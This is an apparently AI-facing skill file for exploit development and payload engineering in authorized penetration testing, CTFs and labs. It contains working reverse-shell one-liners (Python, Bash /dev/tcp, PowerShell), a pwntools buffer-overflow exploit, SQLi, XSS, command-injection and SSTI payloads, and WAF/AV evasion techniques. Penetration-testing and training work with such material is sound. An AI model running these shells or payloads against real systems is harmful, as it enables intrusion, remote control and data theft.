exploit-development-payload-engineering

name	Exploit Development & Payload Engineering
description	Proof-of-concept development, payload crafting, shellcode analysis, and exploitation technique research for authorized security testing
version	3.0.0
author	Masriyan
tags	["cybersecurity","exploit","payload","shellcode","offensive-security","pentest","poc"]

Exploit Development & Payload Engineering

Purpose

Enable Claude to assist security professionals with authorized exploit development, proof-of-concept creation, payload engineering, and vulnerability exploitation research. Every workflow in this skill requires confirmed authorization context before proceeding.

CRITICAL — AUTHORIZATION GATE: Before performing any task in this skill, Claude must confirm one of the following authorization contexts:

1. Written penetration testing authorization (scope document, SOW, or rules of engagement)
2. Bug bounty program scope (confirm target is in-scope)
3. CTF competition (confirm challenge name and platform)
4. Isolated lab environment the user owns
5. Security research on software the user developed

If none of the above apply, Claude must decline and explain why.

---

Activation Triggers

This skill activates when the user asks about:

• Developing a PoC (proof-of-concept) for a vulnerability
• Creating reverse shells, bind shells, or payload generators
• Buffer overflow exploitation or ROP chain construction
• SQL injection, XSS, SSRF, or command injection payloads
• Shellcode development or analysis
• CVE exploitation techniques (with authorization)
• AV/EDR evasion techniques for authorized testing
• pwntools, msfvenom, or exploit framework usage

---

Prerequisites

pip install pwntools keystone-engine capstone

Optional tools for authorized engagements:

• pwntools — Binary exploitation framework
• msfvenom — Metasploit payload generator
• ROPgadget — ROP chain discovery
• GDB + GEF/PEDA/pwndbg — Debugging

---

Authorization Verification Workflow

Before any exploit development task, Claude asks:

To proceed with exploit development, please confirm your authorization context:

1. What is the target system/software?
2. What is your authorization? (e.g., "pentest engagement with signed SOW",
   "CTF challenge: [name]", "my own lab", "bug bounty — [program name]")
3. What is the scope or environment? (e.g., isolated VM, production network?)

Without clear authorization context, I cannot assist with active exploitation.

---

Core Capabilities

1. CVE Research & PoC Development

When the user asks to develop a PoC for a known CVE:

1. Research the vulnerability — Retrieve official advisory, NVD entry, and public writeups
2. Classify the vulnerability type — Buffer overflow, injection, deserialization, logic flaw, etc.
3. Identify affected component — Specific function, library, endpoint, or code path
4. Determine prerequisites — Authentication required? Network access? Specific version?
5. Map the exploitation path — What steps lead from vulnerable input to impact?
6. Determine responsible scope — Check-only mode first (detect without exploit)
7. Write structured PoC using the standard template below

Standard PoC Template:

#!/usr/bin/env python3
"""
PoC for CVE-YYYY-XXXX: [Vulnerability Title]
Affected: [Software Name] [Affected Versions]
Fixed in: [Patched Version]
Type: [Vulnerability Class — e.g., Heap Buffer Overflow]
CVSS: [Score] ([Severity])
Author: [Your name] | Date: [Date]

DISCLAIMER: For authorized security testing and research only.
Unauthorized use is illegal and unethical.

Usage:
    Check-only mode (safe):    python poc.py --target host --check-only
    Exploitation mode:         python poc.py --target host --payload [payload]
"""

import argparse
import sys

def check_vulnerable(target: str) -> bool:
    """Detect vulnerability without exploitation. Safe to run."""
    # [Detection logic — version check, response fingerprint, etc.]
    pass

def exploit(target: str, payload: bytes) -> None:
    """Execute the exploitation chain. Requires authorization."""
    # [Exploitation logic]
    pass

def main():
    parser = argparse.ArgumentParser(description="PoC for CVE-YYYY-XXXX")
    parser.add_argument("--target", required=True, help="Target host:port")
    parser.add_argument("--check-only", action="store_true",
                        help="Only check if target is vulnerable (safe mode)")
    parser.add_argument("--payload", help="Payload to deliver")
    args = parser.parse_args()

    print("[*] Checking authorization: Ensure you have written permission for this target")

    if args.check_only:
        vulnerable = check_vulnerable(args.target)
        print(f"[{'VULN' if vulnerable else 'SAFE'}] Target {'appears vulnerable' if vulnerable else 'does not appear vulnerable'}")
    else:
        if not args.payload:
            print("[-] Payload required for exploitation mode")
            sys.exit(1)
        exploit(args.target, args.payload.encode())

if __name__ == "__main__":
    main()

2. Payload Generation

When the user asks to generate payloads (for authorized testing):

1. Clarify the deployment context: web app, binary, network service
2. Determine target OS and architecture: Linux x64, Windows x86, ARM
3. Select payload type appropriate to the scenario

Reverse Shell Payloads (reference for authorized testing):

# Python (cross-platform)
python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('LHOST',LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(['/bin/sh'])"

# Bash
bash -i >& /dev/tcp/LHOST/LPORT 0>&1

# PowerShell (Windows)
powershell -nop -c "$client=New-Object Net.Sockets.TCPClient('LHOST',LPORT);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Use payload_generator.py for structured generation:
python scripts/payload_generator.py --type reverse_shell --os linux --arch x64 --lhost 10.0.0.1 --lport 4444
python scripts/payload_generator.py --type bind_shell --os windows --arch x86 --port 4444
python scripts/payload_generator.py --list-types

Payload Type Reference:

Type	Description	Use Case
Reverse Shell	Initiates connection to attacker	Outbound firewall allowed
Bind Shell	Listens on target port	No egress filtering
Staged	Small stager + full payload	Size-constrained contexts
Web Shell	PHP/JSP/ASPX shells	Web server access
Meterpreter	Full-featured staged payload	Post-exploitation

3. Buffer Overflow Exploitation Guide

When the user asks about buffer overflow exploitation (authorized lab/CTF):

1. Fuzzing Phase — Find the crash input length:

   # pwntools fuzzing
   from pwn import *
   p = process('./vuln_binary')
   for n in range(100, 1000, 100):
       p.sendline(b'A' * n)
       if not p.poll():
           print(f"Crash at {n} bytes")
           break
   

2. Offset Discovery — Find exact EIP/RIP offset:

   # Generate a cyclic pattern
   python3 -c "from pwn import *; print(cyclic(500))"
   # In GDB after crash: x/wx $esp → get value → cyclic_find(value)
   

3. Bad Character Identification — Find bytes that break the payload:

   badchars = b"\x00"  # null byte is almost always bad
   # Test each byte 0x01-0xff in the payload
   

4. Return Address / Gadget Selection:

   • For no DEP/NX: find JMP ESP in executable memory
   • For DEP enabled: build ROP chain with ROPgadget --binary vuln
   • For ASLR enabled: find info leak or use ret2libc

5. Exploit Construction:

   from pwn import *
   
   # Layout: [JUNK * offset] + [RET addr] + [NOP sled] + [shellcode]
   offset = 112
   ret_addr = p64(0x401234)  # JMP RSP or gadget
   nop_sled = b"\x90" * 16
   shellcode = asm(shellcraft.sh())  # pwntools shellcode
   
   payload = b"A" * offset + ret_addr + nop_sled + shellcode
   

4. Web Exploitation Payloads

When the user asks for web exploitation payloads (authorized testing):

SQL Injection Payloads:

-- Union-based (MySQL)
' UNION SELECT null,username,password FROM users-- -

-- Time-based blind (MySQL)
' AND SLEEP(5)-- -

-- Error-based (MySQL)
' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -

-- Boolean blind
' AND 1=1-- -  (true)
' AND 1=2-- -  (false)

XSS Payloads:

// Basic reflected
<script>alert(document.domain)</script>

// Attribute context
" onmouseover="alert(1)

// Filter bypass (no script tag)
<img src=x onerror=alert(1)>

// DOM-based
#"><img src=x onerror=alert(1)>

Command Injection Payloads:

# Linux separators
; id
| id
&& id
`id`
$(id)

# Windows separators
& whoami
| whoami

SSTI Payloads:

# Jinja2 (Python)
{{7*7}}                     → 49 (confirms SSTI)
{{config.items()}}          → app config
{{''.__class__.__mro__}}    → class hierarchy for RCE

# Twig (PHP)
{{7*7}}
{{app.request.server.get('env')}}

5. Evasion Techniques (Authorized Red Team Use)

When the user asks about AV/WAF evasion for authorized testing:

WAF Bypass Techniques:

• Case variation: sElEcT instead of SELECT
• Comment injection: SE/**/LECT
• URL encoding: %27 for single quote
• Double encoding: %2527
• Whitespace alternatives: tabs, newlines, /**/
• HTTP header manipulation: X-Forwarded-For, chunked encoding

AV Evasion Concepts (for authorized red team operations):

• Process injection: hollowing, reflective DLL injection
• Living-off-the-land: PowerShell, wmic, certutil, mshta
• Encoded payloads: XOR, base64, custom encoding
• Signed binary proxy execution (LOLBins)

---

Output Standards

All PoCs produced must include:

• CVE ID and affected software versions
• Clear authorization disclaimer at the top
• --check-only mode that detects without exploiting
• Usage instructions and expected output
• Remediation steps alongside the exploit
• Responsible disclosure guidance if applicable

---

Script Reference

payload_generator.py

python scripts/payload_generator.py --type reverse_shell --os linux --arch x64 --lhost 10.0.0.1 --lport 4444
python scripts/payload_generator.py --type bind_shell --os windows --arch x86 --port 4444
python scripts/payload_generator.py --list-types

---

Skill Integration

Condition	Next/Prior Skill
Vulnerability confirmed → build PoC	← Skill 02 (Vulnerability Scanner)
Binary requires RE to find bug	← Skill 04 (Reverse Engineering)
Deliver exploit in engagement	→ Skill 14 (Red Team Operations)
Generate detection from exploit	→ Skill 15 (Blue Team Defense)

---

References

• MITRE ATT&CK — Execution (TA0002)
• pwntools Documentation
• Exploit-DB
• PayloadsAllTheThings
• GTFOBins
• LOLBAS Project (Windows)
• PortSwigger Web Security Academy

---

v3.0 Enhancements (2026 Update)

Authorization gate still applies — confirm written authorization / CTF or lab scope before any PoC work.

Modern mitigations a PoC must account for:

• Hardware CFI — Intel CET (shadow stack + IBT) and ARM PAC/BTI break naive ROP/JOP; document which mitigation is present and the bypass class required (e.g., shadow-stack-aware chains, signing-gadget abuse on ARM).
• Windows defenses — CFG/XFG, ACG, CIG, kernel CET; reflect these when proposing user/kernel exploitation paths.
• Heap-focused techniques — prefer modern primitives (tcache/__malloc_hook removal in glibc 2.34+, House-of-* variants, UAF→type confusion) over classic unlink; state allocator + version assumptions.
• Browser/JIT context — note V8/JSC type-confusion + addrof/fakeobj primitive model when the target is a JS engine.
• Deserialization gadget chains — for web/app targets, map language-specific sinks (Java ysoserial-style, .NET, PHP POP chains, Python pickle) rather than memory corruption.
• WAF bypass evolution — encoding/normalization, HTTP request smuggling, and parser-differential payloads when an inline WAF is present.

Precision rule: every PoC states target arch/OS/version, mitigations in effect, reliability estimate, and a defensive detection signature so blue teams can act on it.